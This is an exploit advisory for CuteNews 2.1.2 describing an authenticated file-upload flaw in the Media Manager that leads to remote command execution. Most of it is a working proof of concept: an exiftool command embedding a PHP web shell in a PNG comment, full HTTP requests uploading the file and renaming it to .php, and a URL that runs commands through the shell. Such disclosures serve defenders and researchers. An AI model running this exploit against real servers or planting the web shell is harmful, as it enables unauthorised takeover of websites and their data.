CuteNews 2.1.2 Authenticated Shell Upload

2020.05.13
Credit: Vigov5
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: CuteNews 2.1.2 - Authenticated Arbitrary File Upload # Date: 2020-05-12 # Author: Vigov5 - SunCSR Team # Vendor Homepage: https://cutephp.com # Software Link: https://cutephp.com/click.php?cutenews_latest # Version: v2.1.2 # Tested on: Ubuntu 18.04 / Kali Linux Description: ------------------------------------------------------------------------ In the "Media Manager" area, Users with low privileges (Editor) can bypass file upload restrictions, resulting in arbitrary command execution. [PoC] -------------------------------------------------------------------------------- # Step 1. Create shell $ exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.png; # Step 2. Upload Shell (# Minimum editor privileges) POST /CuteNews/index.php HTTP/1.1 Host: [target] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------15868731501112834542363527723 Content-Length: 3775 Origin: [target] DNT: 1 Connection: close Referer: [target]/CuteNews/index.php Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h Upgrade-Insecure-Requests: 1 -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="mod" media -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="opt" media -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="folder" -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="CKEditorFuncNum" -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="callback" -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="style" -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="faddm" -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="imgopts" -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="__signature_key" 7ffa4c94a150c20f0c1b51036f6e4597-editor -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="__signature_dsi" 48d87ded04d15407f258c57efa3216e8 -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="upload_from_inet" -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="upload_file[]"; filename="shell.png" Content-Type: image/png [Content Image Here ! ] -----------------------------15868731501112834542363527723 Content-Disposition: form-data; name="upload" Upload file(s) -----------------------------15868731501112834542363527723-- # Step 3. Change filename shell.jpg to shell.php POST /CuteNews/index.php HTTP/1.1 Host: [target] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 241 Origin: [target] DNT: 1 Connection: close Referer: http://[target]CuteNews/index.php Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h Upgrade-Insecure-Requests: 1 mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=ebdaf403dcda492fabe8f1d96399b16b-editor&__signature_dsi=27a9035f2b130dd1477ad2a37a5721da&pending=rename&ids%5B0%5D=shell.png&place%5B0%5D=shell.php # Step 4. Execute the command with the path : http:// [target]/CuteNews/uploads/shell.php?cmd=id


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